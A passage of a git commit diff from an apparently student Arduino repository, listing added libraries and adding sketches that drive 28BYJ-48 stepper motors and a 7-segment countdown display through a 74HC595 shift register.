libraries/NewliquidCrystal/utility/docs/html/search/functions_4.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_4.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_5.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_5.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_6.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_6.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_61.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_62.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_63.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_64.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_65.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_66.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_68.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_69.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_6c.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_6d.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_6e.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_6f.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_7.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_7.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_70.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_72.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_73.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_77.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_8.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_8.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_9.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_9.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_a.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_a.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_b.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_b.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_c.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_c.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_d.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/functions_d.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/mag_sel.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/nomatches.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/pages_0.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/pages_0.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/search.css create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/search.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/search_l.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/search_m.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/search_r.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/searchdata.js create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/typedefs_66.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/search/variables_5f.html create mode 100644 libraries/NewliquidCrystal/utility/docs/html/splitbar.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/sync_off.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/sync_on.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/tab_a.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/tab_b.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/tab_h.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/tab_s.png create mode 100644 libraries/NewliquidCrystal/utility/docs/html/tabs.css create mode 100755 libraries/PLabBT/PLabBTSerial.cpp create mode 100755 libraries/PLabBT/PLabBTSerial.h create mode 100755 libraries/PLabLib1/PLab_IRremote.cpp create mode 100755 libraries/PLabLib1/PLab_IRremote.h create mode 100755 libraries/PLabLib1/PLab_IRremoteInt.h create mode 100755 libraries/PLabLib1/PLab_PushButton.cpp create mode 100755 libraries/PLabLib1/PLab_PushButton.h create mode 100755 libraries/PLabLib2/MFRC522.cpp create mode 100755 libraries/PLabLib2/MFRC522.h create mode 100755 libraries/PLabLib3/NewPing.cpp create mode 100755 libraries/PLabLib3/NewPing.h create mode 100755 libraries/PLabLib4/LSM303.cpp create mode 100755 libraries/PLabLib4/LSM303.h create mode 100644 libraries/TinyGPS/TinyGPS.h create mode 100755 libraries/TinyGPSPlus-1.0.2/examples/BasicExample/BasicExample.ino create mode 100755 libraries/TinyGPSPlus-1.0.2/examples/DeviceExample/DeviceExample.ino create mode 100755 libraries/TinyGPSPlus-1.0.2/examples/FullExample/FullExample.ino create mode 100755 libraries/TinyGPSPlus-1.0.2/examples/KitchenSink/KitchenSink.ino create mode 100755 libraries/TinyGPSPlus-1.0.2/examples/SatElevTracker/SatElevTracker.ino create mode 100755 libraries/TinyGPSPlus-1.0.2/examples/SatElevTracker/sample_satellite_elevation_log.txt create mode 100755 libraries/TinyGPSPlus-1.0.2/examples/SatelliteTracker/SatelliteTracker.ino create mode 100755 libraries/TinyGPSPlus-1.0.2/examples/UsingCustomFields/UsingCustomFields.ino create mode 100755 libraries/TinyGPSPlus-1.0.2/keywords.txt create mode 100755 libraries/TinyGPSPlus-1.0.2/library.json create mode 100755 libraries/TinyGPSPlus-1.0.2/library.properties create mode 100755 libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.cpp create mode 100755 libraries/TinyGPSPlus-1.0.2/src/TinyGPS++.h create mode 100755 libraries/Zumo/PLab_ZumoMotors.cpp create mode 100755 libraries/Zumo/PLab_ZumoMotors.h create mode 100755 libraries/Zumo/Pushbutton.cpp create mode 100755 libraries/Zumo/Pushbutton.h create mode 100755 libraries/Zumo/QTRSensors.cpp create mode 100755 libraries/Zumo/QTRSensors.dox create mode 100755 libraries/Zumo/QTRSensors.h create mode 100755 libraries/Zumo/ZumoBuzzer.cpp create mode 100755 libraries/Zumo/ZumoBuzzer.h create mode 100755 libraries/Zumo/ZumoMotors.cpp create mode 100755 libraries/Zumo/ZumoMotors.h create mode 100755 libraries/Zumo/ZumoReflectanceSensorArray.h create mode 100644 libraries/readme.txt diff --git a/Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino b/Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino new file mode 100644 index 0000000..1e880d2 --- /dev/null +++ b/Projects/28BYJ Stepper/Third_WithButtons/Third_WithButtons.ino @@ -0,0 +1,86 @@ + +int leftCCW[] = {8, 9, 10, 11}; +int leftCW[] = {11, 10, 9, 8}; +int leftButtons[] = {2, 3}; + +int rightCCW[] = {4, 5, 6, 7}; +int rightCW[] = {7, 6, 5, 4}; +int rightButtons[] = {0, 1}; + +const int motorSteps[8][4] = { +{1, 0, 0, 0}, +{1, 1, 0, 0}, +{0, 1, 0, 0}, +{0, 1, 1, 0}, +{0, 0, 0, 1}, +{0, 0, 1, 1}, +{0, 0, 0, 1}, +{1, 0, 0, 1} +}; + +int motorSpeed = 0; + +void setup() { + for (int i=0; i < 4; i++) { + pinMode(leftCW[i], OUTPUT); + pinMode(rightCW[i], OUTPUT); + } + for (int i = 0; i < 2; i++) { + pinMode(leftButtons[i], INPUT); + pinMode(rightButtons[i], INPUT); + } +} + +void loop() { + if (analogRead(leftButtons[0]) == 0) { + leftUp(); + } else if(analogRead(leftButtons[1]) == 1){ + leftDown(); + } + + if (analogRead(leftButtons[0]) == 0) { + rightUp(); + } else if(analogRead(leftButtons[1]) == 1){ + rightDown(); + } +} + +void leftUp() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCW[j], motorSteps[j][i]); + delay(1); + } + } +} + +void leftDown() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCCW[j], motorSteps[j][i]); + delay(1); + } + } +} + +void rightUp() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCCW[j], motorSteps[j][i]); + delay(1); + } + } +} + +void rightDown() { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCW[j], motorSteps[j][i]); + delay(1); + } + } +} diff --git a/Projects/28BYJ Stepper/first_test/first_test.ino b/Projects/28BYJ Stepper/first_test/first_test.ino new file mode 100644 index 0000000..58d0d16 --- /dev/null +++ b/Projects/28BYJ Stepper/first_test/first_test.ino @@ -0,0 +1,166 @@ +// This Arduino example demonstrates bidirectional operation of a +// 28BYJ-48, which is readily available on eBay, using a ULN2003 +// interface board to drive the stepper. The 28BYJ-48 motor is a 4- +// phase, 8-beat motor, geared down by a factor of 68. Onint e bipolar +// winding is on motor pins 1 & 3 and the other on motor pins 2 & 4. +// Refer to the manufacturer's documentation of Changzhou Fulling +// Motor Co., Ltd., among others. The step angle is 5.625/64 and the +// operating Frequency is 100pps. Current draw is 92mA. In this +// example, the speed and direction of the stepper motor is determined +// by adjusting a 1k-ohm potentiometer connected to Arduino pin A2. +// When the potentiometer is rotated fully counterclockwise, the motor +// will rotate at full counterclockwise speed. As the potentiometer is +// rotated clockwise, the motor will continue to slow down until is +// reaches its minimum speed at the the potentiometer's midpoint value . +// Once the potentiometer crosses its midpoint, the motor will reverse +// direction. As the potentiometer is rotated further clockwise, the speed +// of the motor will increase until it reaches its full clockwise rotation +// speed when the potentiometer has been rotated fully clockwise. +//////////////////////////////////////////////// + +//declare variables for the motor pins +int motorPin1 = 8; // Blue - 28BYJ48 pin 1 +int motorPin2 = 9; // Pink - 28BYJ48 pin 2 +int motorPin3 = 10; // Yellow - 28BYJ48 pin 3 +int motorPin4 = 11; // Orange - 28BYJ48 pin 4 + // Red - 28BYJ48 pin 5 (VCC) + +int motorSpeed = 0; //variable to set stepper speed +int potPin = 2; //potentiometer connected to A2 +int potValue = 0; //variable to read A0 input + + +////////////////////////////////////////////////////////////////////////////// +void setup() { + //declare the motor pins as outputs + pinMode(motorPin1, OUTPUT); + pinMode(motorPin2, OUTPUT); + pinMode(motorPin3, OUTPUT); + pinMode(motorPin4, OUTPUT); + Serial.begin(9600); +} + +////////////////////////////////////////////////////////////////////////////// +void loop(){ + + //potValue = analogRead(potPin); // read the value of the potentiometer + Serial.println(potValue); // View full range from 0 - 1024 in Serial Monitor + if (potValue < 535){ // if potentiometer reads 0 to 535 do this + motorSpeed = (potValue/15 + 5); //scale potValue to be useful for motor + clockwise(); //go to the ccw rotation function + } + else { //value of the potentiometer is 512 - 1024 + motorSpeed = ((1024-potValue)/15 + 5); //scale potValue for motor speed + counterclockwise(); //go the the cw rotation function + } +} + +////////////////////////////////////////////////////////////////////////////// +//set pins to ULN2003 high in sequence from 1 to 4 +//delay "motorSpeed" between each pin setting (to determine speed) + +void counterclockwise (){ + // 1 + digitalWrite(motorPin1, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 2 + digitalWrite(motorPin1, HIGH); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, LOW); + delay (motorSpeed); + // 3 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 4 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 5 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin4, LOW); + delay(motorSpeed); + // 6 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin4, HIGH); + delay (motorSpeed); + // 7 + digitalWrite(motorPin1, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, HIGH); + delay(motorSpeed); + // 8 + digitalWrite(motorPin1, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin4, HIGH); + delay(motorSpeed); +} + +////////////////////////////////////////////////////////////////////////////// +//set pins to ULN2003 high in sequence from 4 to 1 +//delay "motorSpeed" between each pin setting (to determine speed) + +void clockwise(){ + // 1 + digitalWrite(motorPin4, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 2 + digitalWrite(motorPin4, HIGH); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, LOW); + delay (motorSpeed); + // 3 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 4 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, HIGH); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 5 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin1, LOW); + delay(motorSpeed); + // 6 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, HIGH); + digitalWrite(motorPin1, HIGH); + delay (motorSpeed); + // 7 + digitalWrite(motorPin4, LOW); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, HIGH); + delay(motorSpeed); + // 8 + digitalWrite(motorPin4, HIGH); + digitalWrite(motorPin3, LOW); + digitalWrite(motorPin2, LOW); + digitalWrite(motorPin1, HIGH); + delay(motorSpeed); +} diff --git a/Projects/28BYJ Stepper/second/second.ino b/Projects/28BYJ Stepper/second/second.ino new file mode 100644 index 0000000..646126a --- /dev/null +++ b/Projects/28BYJ Stepper/second/second.ino @@ -0,0 +1,95 @@ + +int leftCCW[] = {8, 9, 10, 11}; +int leftCW[] = {11, 10, 9, 8}; +int leftButtons[] = {0, 1}; + +int rightCCW[] = {4, 5, 6, 7}; +int rightCW[] = {7, 6, 5, 4}; +int rightButtons[] = {2, 3}; + +const int motorSteps[8][4] = { +{1, 0, 0, 0}, +{1, 1, 0, 0}, +{0, 1, 0, 0}, +{0, 1, 1, 0}, +{0, 0, 0, 1}, +{0, 0, 1, 1}, +{0, 0, 0, 1}, +{1, 0, 0, 1} +}; + +int motorSpeed = 0; + +void setup() +{ +for (int i=0; i < 4; i++) { +pinMode(leftCW[i], OUTPUT); +pinMode(rightCW[i], OUTPUT); +} +for (int i = 0; i < 2; i++) { +pinMode(leftButtons[i], INPUT); +pinMode(rightButtons[i], INPUT); +} + +pinMode(12, INPUT); + +Serial.begin(9600); +} + +void loop() +{ +if (digitalRead(12) == LOW) +{ windUp(); } +else { windDown(); } +} + +void windUp() { + while(digitalRead(rightButtons[1]) == LOW || digitalRead(leftButtons[1] == LOW)){ + if (digitalRead(rightButtons[1] == LOW)) + { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCCW[j], motorSteps[j][i]); + delay(1); + } + } + } + + if (digitalRead(leftButtons[1] == LOW)) + { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCW[j], motorSteps[j][i]); + delay(1); + } + } + } + } +} + +void windDown() { + while(digitalRead(rightButtons[0]) == LOW || digitalRead(leftButtons[0] == LOW)){ + if (digitalRead(rightButtons[0] == LOW)) { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Right motor + digitalWrite(rightCW[j], motorSteps[j][i]); + delay(1); + } + } + } + + if (digitalRead(leftButtons[0] == LOW)) { + for(int i=0; i < 8; i++){ + for(int j=0; j < 4; j++){ + // Left motor + digitalWrite(leftCCW[j], motorSteps[j][i]); + delay(1); + } + } + } + } + +} diff --git a/Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino b/Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino new file mode 100755 index 0000000..3815b9b --- /dev/null +++ b/Projects/7 Segment Main/The_Final_Coutdown_/The_Final_Coutdown_.ino @@ -0,0 +1,477 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 11; +int clock = 13; +int latch = 12; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + +int ledDigitalOne[] = {10, 9, 8, 7, 6, 5, 4}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin +//Predefined Colors + +const boolean One[] = {ON, OFF, OFF, OFF, OFF, OFF, ON}; +const boolean Two[] = {OFF, ON, ON, ON, OFF, ON, ON}; +const boolean Three[] = {ON, ON, OFF, ON, OFF, ON, ON}; +const boolean Four[] = {ON, OFF, OFF, ON, ON, OFF, ON}; +const boolean Five[] = {ON, ON, OFF, ON, ON, ON, OFF}; +const boolean Six[] = {ON, ON, ON, ON, ON, ON, OFF}; +const boolean Seven[] = {ON, OFF, OFF, OFF, OFF, ON, ON}; +const boolean Eight[] = {ON, ON, ON, ON, ON, ON, ON}; +const boolean Nine[] = {ON, ON, OFF, ON, ON, ON, ON}; +const boolean Zero[] = {ON, ON, ON, OFF, ON, ON, ON}; + + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); + + + + for(int i = 0; i < 9; i++) + { + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } + + +} + +void loop() +{ + int delayTime = 500; + for (int i = 0; i < 5; i++) + { + changeLED(0,ON); // - 9 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 8 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - 7 + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 6 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 5 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 4 + changeLED(3,ON); + changeLED(4,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 3 + changeLED(1,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 2 + changeLED(2,ON); + changeLED(0,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - 1 + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(3,ON); // - 0 + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + setNumber(ledDigitalOne, Nine); + delay(1000); + setNumber(ledDigitalOne, Eight); + delay(1000); + setNumber(ledDigitalOne, Seven); + delay(1000); + setNumber(ledDigitalOne, Six); + delay(1000); + setNumber(ledDigitalOne, Five); + delay(1000); + setNumber(ledDigitalOne, Four); + delay(1000); + setNumber(ledDigitalOne, Three); + delay(1000); + setNumber(ledDigitalOne, Two); + delay(1000); + setNumber(ledDigitalOne, One); + delay(1000); + setNumber(ledDigitalOne, Zero); + delay(1000); + + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + } +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino b/Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino new file mode 100755 index 0000000..461dc80 --- /dev/null +++ b/Projects/7 Segment Main/_2x7_Segment_74HC_HEI_ELIAS_/_2x7_Segment_74HC_HEI_ELIAS_.ino @@ -0,0 +1,323 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + + + + +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7, 6}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean 